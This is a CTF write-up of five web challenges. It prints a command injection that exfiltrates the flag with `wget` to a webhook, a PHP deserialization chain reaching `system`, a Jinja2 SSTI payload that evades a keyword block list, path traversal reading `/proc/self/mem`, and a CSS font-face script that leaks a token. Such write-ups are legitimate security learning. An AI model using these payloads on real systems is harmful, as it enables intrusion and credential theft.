---
# System prepended metadata

title: Write ups WannaGam

---

# Write ups WannaGame
:::success
Only web challenges
:::


# Dox List: 
## Source code : 
:::info
CVE-2024-42352:
https://nvd.nist.gov/vuln/detail/CVE-2024-42352
:::
Server : 
```python=
@app.route('/health_check')
def health_check():
    cmd = request.args.get('cmd') or 'ping'
    health_check = f'echo \'db.runCommand("{cmd}").ok\' | mongosh mongodb:27017/app --quiet'
    try:
        result = subprocess.run(health_check, shell=True, capture_output=True, text=True, timeout=2)
        app.logger.info(result)
        return 'Database is responding' if '1' in result.stdout else 'Database is not responding'
    except subprocess.TimeoutExpired:
        return 'Database is not responding'
@app.route('/api/dogs')
def get_dogs():
    app.logger.info(f"Requests Header : {request.headers}")
    dogs = []
    for dog in app_db['doxlist'].find():
        dogs.append({
            "name": dog['name'],
            "image": dog['image']
        })
    return jsonify(dogs)

```
We have two routes, one for get data from db and one to call a command with subprocess.run. 
Because it is running with : shell = True so we can use something like :  `cat /flag*` to receive the flag and call to our web hooks.

Client : 
```javascript=
<script setup>
import { ref, onMounted } from 'vue';
const delay = ms => new Promise(resolve => setTimeout(resolve, ms))
const cards = ref(new Array(8))
const { data, error } = await useAsyncData('fetchDox', async () => {
  try {
    const response = await $fetch('http://backend:5000/api/dogs')
    console.log(response)
    return response
  } catch (err) {
    console.error('Error fetching data:', err)
    return cards;
  }

})

onMounted(async () => {
  console.log(data)
  if (data) cards.value = data.value;
  console.log(cards)
});
```
Well it looks like server just call to the the "/api/dogs"... Im trying to figure out some way to ssrf this app and its too hard. So we have a hint from authors ![image](https://hackmd.io/_uploads/ryfeZTm8kx.png)

So now , we just need to find a CVE which we can just check version of packages in our app.
```json=
  "dependencies": {
    "@nuxt/icon": "1.4.4",
    "@nuxtjs/proxy": "^2.1.0",
    "nuxt": "^3.13.0",
    "vue": "latest",
    "vue-router": "latest"
  },
```
Ye , there is only one unupdated is @nuxt/icon. Search on google and we will find this.
![image](https://hackmd.io/_uploads/SJW_ZpQUyl.png)

And we try to test this on our app.
![image](https://hackmd.io/_uploads/S1ni-pQLyx.png)
Now we can call to the route right ??? Nope, its seem impossible

![image](https://hackmd.io/_uploads/r1sJGp78Je.png)
Look at the implementation of url parse we can know the reason why.![image](https://hackmd.io/_uploads/H1L-zT78kl.png)
- Our url will be catched with the basename "/" and then i tried some bypass with "\" and "%5C" but it is impossilbe so we need to find another way. Take a breathe, and we can control the place our server will redirect to right ? 
- So the idea is really simple !!! Make it redirect to our own app !!! And we can just redirect it back to its route ("/health_check")
# Implement own server 
```python=
from flask import Flask,request,redirect
import requests
app = Flask(__name__)

@app.route('/')

def home():
    return redirect("http://backend:5000/health_check?cmd=%22%29%27%3Bwget%20https%3A%2F%2Fwebhook.site%2F8e85705e-3468-4e1f-90b5-745c2a70b808%3Fq%3D%24%28cat%20%2Fflag%2A%29%20%3Becho%20%271%27%3B%23%20")

if __name__ == '__main__':
    app.run(debug=True)  # This runs the app locally
```
Host this app up and we will receive the flag at our webhook !!
![image](https://hackmd.io/_uploads/r15E767LJl.png)

![image](https://hackmd.io/_uploads/HkrE76Q8ke.png)
Im sorry for not showing the real flag because I dont know why i cannot access it anymore :<.

# My Restaurant 
:::info 
Insecure Deserialization
:::
## Overview
```php=
class Spaghetti
{
    public $sauce;
    public $noodles;
    public $portion;

    public function __get($tomato)
    {
        ($this->sauce)();
    }
}
```
```php=
class Pizza
{
	public $price;
	public $cheese;
	public $size;

	public function __destruct()
	{
		echo $this->size->what;
    }    
}    
```
```php=

<?php
	class IceCream
	{
		public $flavors;
		public $topping;

		public function __invoke()
		{
			foreach ($this->flavors as $flavor) {
				echo $flavor;
			}
		}
	}
```
This challenge gives us 3 class and this is 100% a PHP deserialization challenge !! So we need to find some ways to chain these vulnerabilities.
I rearranged for easier explanation.

- First class is Spaghetti use method `__get($tomato)` is a method get called when we get access into a undefined attribute of that class. And it will run the function at `sauce`
- Second class is Pizza use method `__destruct` is a method get called when this class is destructed. Then it will call to the `$size->what`.
- Final class IceCream use method `__invoke` is a method get called when get called like `$ice();`. It will loops and print the flavors array.
## What we can chain here ? 
- Look at the Pizza, it will access to an undefined variables `what` right? So if we set our `$size` is a object of `Spaghetti` which has `__get($tomato)` get called when access to undefined attribute ? We can chain these together then we can run the `$sauce` of Spaghetti.
- What the `$sauce` should be ? It is clear is the `IceCream` !!! And it will run the `__invoke` and print its flavors !!!
## What flavors we want  ? 
- So now we can make some chain, to finally run the  `__invoke` to print out all flavors.
- Well a `$flavors` in IceCream is just an  array and in the source code we have something interesting : 
```php=
<?php

namespace Helpers{
    use \ArrayIterator;
	class ArrayHelpers extends ArrayIterator
	{
		public $callback;

		public function current()
		{
			$value = parent::current();
			echo $value;
			$debug = call_user_func($this->callback, $value);
			return $value;
		}
	}
}

```
This creates a Helpers Array which add a function when get looped with forEach. It will loop through the `values` in array and call a callback with argument is that value !!!! Which is so suitable to create our `$flavours` right ? Because  the `$flavours` get looped too !!.
```php=
	foreach ($this->flavors as $flavor) {
	    echo $flavor;
        }
```
# Full steps : 
```php=
	$pizza = new Pizza();
	$spa = new Spaghetti();
	$ice  = new IceCream();
    //Set the values is a malicous code
	$arrayHel = new ArrayHelpers(["cat /*.txt"]);  
    // Set callback to system function to exec code
	$arrayHel->callback="system";
    // Chain methods
	$ice->flavors = $arrayHel;
	$spa->sauce  = $ice;
	$pizza->size = $spa;
	echo serialize($pizza);
	echo base64_encode(serialize($pizza));
```
Test it on burp suite we get : 
![image](https://hackmd.io/_uploads/r10KJAmU1x.png)
- Hmmm it seems not get the ArrayHelpers instance because this class comes from another file. Just fix a little bit with : 
 ![image](https://hackmd.io/_uploads/BkQp1RX8ke.png)
 Run again and get the flag !!!!
 ![image](https://hackmd.io/_uploads/rkvR1CmUJl.png)

# SSTI FOR KIDS : 
```python=
def check_payload(payload):
    forbidden_chars = ["[", "]", "_", ".", "x", "dict", "config", "mro", "popen", "debug", "cycler", "os", "globals", "flag", "cat"]
    # [] , 
    payload = payload.lower()
    for char in forbidden_chars:
        if char in payload:
            print(f"CAUGHT {char}")
            return True
    return False
```
This challenge need us to bypass SSTI checker.
After reading this [blog](https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/)
- I found a powerful payload : 
```python=
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```
But it stills get caught with `x` letter so just convert all of them into octal form :>>
```python=
{{request|attr('application')|attr('\137\137globals\137\137')|attr('\137\137getitem\137\137')('\137\137builtins\137\137')|attr('\137\137getitem\137\137')('\137\137import\137\137')('os')|attr('popen')('id')|attr('read')()}}
```
Then change some blackwords too:
Final : 
```python=
{{request|attr('\141pplic\141ti\157n')|attr('\137\137glob\141ls\137\137')|attr('\137\137getitem\137\137')('\137\137builtins\137\137')|attr('\137\137getitem\137\137')('\137\137imp\157rt\137\137')('\157s')|attr('p\157pen')('c\141t fl\141g*')|attr('re\141d')()}}
```
Ten ten ten: ![image](https://hackmd.io/_uploads/BkUCfAQL1e.png)


# Nemo
:::info 
Logic and read memories 
:::

# Source  Back End: 
```python=
class FileMetadata:
    def __init__(
            self,
            author,
            filename,
            description,
            id = None,
    ):
        if len(author) > 50 or \
           len(filename) > 50 or \
           len(description) > 150:
            raise StringTooLongException()
        self.creation_time = datetime.now(tz=timezone.utc)

        self.author = author
        self.filename = filename
        self.init = id in forbidden_ids
        basedir = "/company" if self.init else "/tmp"
        self.path = f"{basedir}/{filename}"
        self.description = description
        self.id = str(UUID(id, version=4)) if id is not None else str(uuid4())

    def write(self, collection, content):
            raise ValueError("Use of forbidden id")

        collection.insert_one(vars(self))
        if "./" in self.path:
            raise PathTraversalAttemptDetectedException()
        if len(content) > 200:
            raise FileTooBigException()
        with open(self.path, "w") as f:
            f.write(content)
    def read(self, offset, length):
        with open(self.path, "rb") as f:
            f.seek(offset)
            return f.read(length)
```
First it wil create a FileMeta with 2 main functions:
- Write and Read 
There are also some rules need to follow.
First it will check the id given and check if it is forbiddened or not. After that choose a basedir to store that file ('/tmp' or '/company'). Finally initialize a uuid if no id given and check the format of id given. 
- Pay attention that read function using `offset and length` to read a file which looks too weird.
- Well it looks too much information here. But left it and read at the server code .

# Source Handle : 
```python=
def initialize_db():
    for f in files:
        m = f["metadata"]
        fm = FileMetadata(
            m["author"],
            m["filename"],
            m["description"],
            id = m["id"],
        )
        if not metadata.find_one({"id": m["id"]}):
            fm.write(metadata, f["content"])
    print(files[-1]["metadata"]["filename"])
    
    if (os.path.exists("init/init_data.py")):
        os.remove("init/init_data.py")

```
First it will generate files with data from a pathname `init/init_data.py` and then delete those file.
And the flag is one of those get deleted.
```python=
{
        "metadata": {
            "author": "Shimmering Pearl",
            "filename": "ocean_whispers.txt",
            "description": "The eternal song of the waves.",
            "id": "3dad5070-950c-48c5-bbb2-51312d4a8eab",
        },
        "content": FLAG,
    },
```

Then we have 2 routes handle for read file:
```python=
@app.get("/files")
def get_files():
    return [f["metadata"] for f in files]


@app.get("/files/<id>")
def get_file(id):
    if id == "3dad5070-950c-48c5-bbb2-51312d4a8eab":
        return "", 403
    res = metadata.find_one({
        "id": {"$eq": id}
    })
    if res is None:
        return "", 404
    m = FileMetadata(
        res["author"],
        res["filename"],
        res["description"],
        id=res["id"],
    )
        if files[-1]["metadata"]["filename"] in res["filename"]:
        return "", 403
        ######## read offset voi length chi v?????????????##############
    return m.read(int(request.args.get("offset", 0)), int(request.args.get("length", -1)))
```
- We can read any files with the id but not the id of the `flag` as well as the file has the same name of the flag file.

Then is the route to handle uploading files : 
```python=
def parse_file(body, id=None):
    import re, string
    ##### VI SAO PHAI CHECK PRINTABLE #######
    CONTENT_CHECK = re.compile(f"[^ {string.printable}]")

    if CONTENT_CHECK.search(body["content"]):
        raise ()
    if len(body["content"]) > 200:
        raise ValueError()
    return {
        "metadata": FileMetadata(
            body["author"],
            body["filename"],
            body["description"],
            id,
        ),
        "content": body["content"]
    }


@app.post("/files")
def post_file():
    body = request.json
    try:
        parsed_body = parse_file(body)
    except (KeyError, ValueError):
        return "", 422
    m = parsed_body["metadata"]
    content = parsed_body["content"]
    m.write(metadata, content)
    r = make_response("", 201)
    # KO CHECK PATH TRAVERSAL
    r.headers["Location"] = f"/api/v1/files/{m.id}"
    return r


@app.put("/files/<id>")
def put_file(id):
    if id in forbidden_ids:
        return "", 403
    body = request.json
    try:
        parsed_body = parse_file(body, id)
    except (KeyError, ValueError):
        return "", 422
    m = parsed_body["metadata"]
    content = parsed_body["content"]
    m.write(metadata, content)
    r = make_response("", 201)
    # KO CHECK PATH TRAVERSAL
    r.headers["Location"] = f"/api/v1/files/{m.id}"
    return r
```
- First is the function parse_file which will receive the body data and id to use that and create a FileMeta Data.
- `Post` and `Put` file function is just different that the Put you can handle id passed into parse_file which the `Post` doesn't.
- But it seems the `PUT` get checked the forbidden_ids too much. Specially 3 times :vv. 
# My  silly ideas: 
The first time, i have though about how can i abuse the `id` which seems a dead end but I want to talk about it a little bit. :v 
My idea is simple that I want to create a file with the same `id` of flag file although I dont have idea why does it :v  and as it takes me long time with no results.
- But i found something weird at the : 
```python=
self.id = str(UUID(id, version=4)) if id is not None else str(uuid4())
```
And when test it , i found this :  
![image](https://hackmd.io/_uploads/B1y7414IJx.png)
HEy , HEY it get changed at letter `A` into  `4`
- After researching , I found that at that byte position used to specify the version in variant RFC 4122 UUID. So the implementation try to convert that bytes into the version number .
![image](https://hackmd.io/_uploads/rkhu9bNLkx.png)
- Maybe this can be used to bypass in some challenges :DDD 

# Continue : 
SO it seems `id` is not our playground anymore :v. What can happen here ? 
- After reading too long.. I feel like there is a flaw in the logic code
```python=
    def write(self, collection, content):
        if self.id in forbidden_ids and not self.init:
            raise ValueError("Use of forbidden id")

        collection.insert_one(vars(self))
        ## INSERT VAO LUON ROI =))))))
        if "./" in self.path:
            raise PathTraversalAttemptDetectedException()
        if len(content) > 200:
            raise FileTooBigException()
        with open(self.path, "w") as f:
            f.write(content)
```
- It just check the id and then `insert` straight into the model =)))) So we dont actually care about the `filename` get checked by path traversal.
-  As well as the read just need a `filename` and nothing mores :vvv.
```python=
def read(self, offset, length):
        # Write duoc 1 filename co filename la path traversal -> lay id -> bo vao ham get -> READ EVERYTHING
        with open(self.path, "rb") as f:
            f.seek(offset)
            return f.read(length)
```
... As well as the routes handling.
# New ideas: 
So what if I create a malicous filename to every file I want and then read that id ? I will receive the data from that file:DD.

- Now let's try read `/etc/passwd` with these steps .

![image](https://hackmd.io/_uploads/Sk_ddyE8yl.png)
It will be error because of geting caught by `path traversal` but I dont care :>
- Then read with our id !! 
![image](https://hackmd.io/_uploads/ryYAukV8yl.png)
 
 # Read what to get the flag ? 
 - Well it seems the file is deleted by the python and not anymore. But it actually still lives in `memory`. And in linux to debug the memories we need to read at `/proc/self/mem`.
 - Because it is a virtual file , it means it is created at the time we read it so to read it we need an `offset` and `length`, now we know the reason of them in read function ~~ 
 ## How to find an offset 
- Ye, we have a friends called `/proc/self/maps` which will list all memory regions. Let's get them now ! 
- We will get a bunch of offset.
![image](https://hackmd.io/_uploads/Sy8hqy4IJl.png)

 *It will easier to read :v
 Then do the same steps to read into file `/proc/self/mem` with offset and length 
 ## FINALLY :::
 ![image](https://hackmd.io/_uploads/HyRNaJNUJe.png)
- You will find it <333

# Art-Gallery
## Overview 
- Main goals : 
We need to stole 2 types of token : SECURITY_TOKEN and SECRET_TOKEN.  Use this to get access as admin and get the Flag stored at `/admin`
# SECRET_TOKEN : 
This is really clear how to stole this. 
```python=
app.get('/api/update', auth, debug, csp, (req, res) => {
    if (req.user.role === 'admin' && (req.ip === '::1' || req.ip === "127.0.0.1" || req.ip === "::ffff:127.0.0.1")) {
        var username = req.query.username;
        // Grant developer role
        console.log(username, " is now a developer");
        users.get(username).role = 'developer';
    } else {
        return res.status(403).send('Forbidden');
    }

});

// Developer Zone

app.get('/api/dev', auth, csp, debug, (req, res) => {
    if (req.user.role === 'developer' || req.user.role === 'admin') {
        return res.send('JWT_SECRET: ' + JWT_SECRET);
    } else {
        return res.status(403).send('Forbidden');
    }
});

```
- Well a users can get the `SECRET_TOKEN` with developer role is powered by the admin. But it actually just use the `GET` and we can abuse the function report to achive this goal.
```python=
app.post('/report', auth, apiLimiter, async (req, res) => {
    var url = req.body.url;
    if (!url) {
        return res.status(404).json({
            message: 'Not found'
        });
    }
    if (!url.startsWith('http://localhost:1337/view/')) {
        return res.json({
            success: false,
            message: 'Nice try kiddo!'
        });
    }
    console.log("visiting url: ", url);
    try {
        visit(url);
    } catch (error) {
        console.log(error);
    }
    return res.json({
        success: true,
        message: 'Report sent successfully'
    });
});
```
Here is poc :  
1. Turn on debug with route `/api/debug?debug_mode=1`
![image](https://hackmd.io/_uploads/r1ogexELJg.png)
2. Update role user with route `/api/update?username=123`
![image](https://hackmd.io/_uploads/BJKoygVUJg.png)
3. And stole it with with `/api/dev`(you will need to login again)
![image](https://hackmd.io/_uploads/Hkvvxl4L1l.png)
- Now we stole the the SECRET_KEY !!!

# How to steal the SECURITY_TOKEN  : 
- Maybe you will think about the report function and lead the page to a XSS page and get the cookies. But it is not the case in this challenge because the cookies are protected. So how we leak the `SECURITY_TOKEN`.
- Read the source code you will see some malicous .
```javascript=
app.use((req, res, next) => {
    // Should be safe right?
    if (!req.theme) {
        const theme = req.query.theme;
       if (theme && !theme.includes("<") && !theme.includes(">")) {
            req.theme = theme;
        }else{
            req.theme = 'white';
        }
    }
    next();
})
```
- It creates a middleware to pass our query `theme` and put it into a style tag  
```html=
    <style nonce="{{ nonce }}">
        body {
            background: {{theme | safe}};
        }
    </style>
    <h1 class="title
```
- The `safe` makes it injectable. Let me show you an example.
- ![image](https://hackmd.io/_uploads/ry1TbgNLJg.png)

So we have a CSS injection ? And you can pay attention that the `SECURITY_TOKEN` is actually showed in the user interface? Well when learning XSS i found this good blog:https://aszx87410.github.io/beyond-xss/en/ch2/trust-types/ and I can even leak the `SECURITY_TOKEN` now !!! 
# Idea 
- The leaks is working because of abusing the `@font` with loading an URL when matching a range of UNICODE which can just be a letter too ~~ !!
![image](https://hackmd.io/_uploads/BJtKGxEI1l.png)
- I have created a script to automate this.
```python=
import time
import requests
import random
import string
from urllib.parse import quote

s = requests.Session()
def generate_random_string(length):
    # Choose from uppercase, lowercase, and digits
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choices(characters, k=length))
    return random_string
baseUrl = r"http://localhost:1337"
data = {
    "username":generate_random_string(4),
    "password":"123"
}
res = s.post(baseUrl+"/register",json=data)
print(res.text)
res = s.post(baseUrl+"/login",json=data)
print(res.text)
token = res.cookies.get('token')
def char_to_unicode(char):
    code_point = ord(char)
    return f"{code_point:02X}"
chars ="abcdefghijklmnopqrstuvwxyz0123456789"
print(chars)
webhook = "https://webhook.site/b7dd4def-ee30-4273-abbd-e7c070ed3d15"
def loadFont(i):
    font = r""
    result = [f"f{char}" for char in chars]
    result_string = r', '.join(result)
    for char in chars:
        font+= r''' @font-face%20{%20font-family:%20"f'''+char+r'''";%20src:%20url(https://webhook.site/b7dd4def-ee30-4273-abbd-e7c070ed3d15/?q='''+char+str(i)+r''');%20unicode-range:%20U%2b'''+char_to_unicode(char)+''';%20}'''
    font+=r'''.SECURITY_TOKEN%20:nth-child('''+str(i)+r'''){color:red;font-family:'''+result_string+r''',Arial'''
    return font
loadFont(1)
def leak(i):
    data={"url":baseUrl+r'''/view/../profile?theme=white;:}'''+loadFont(i)}
    res=s.post(baseUrl+'/report',json=data,cookies={"token":token})
    print(res.text)


for i in range(2,22):
    leak(i)
```
FOUND local : ditmbzpvkkm7ow85qjz
FOUND server: b3zjagxhqzwarjzfjkj
- Then just use JWT token and login as admin :DDD. Game end. <3 <3 <3 

# Conclusion.
- I want to say thank you to all the authors who spends time creating such a great challenge. I learned a lots from these and its good chance to try my self to the best !!!

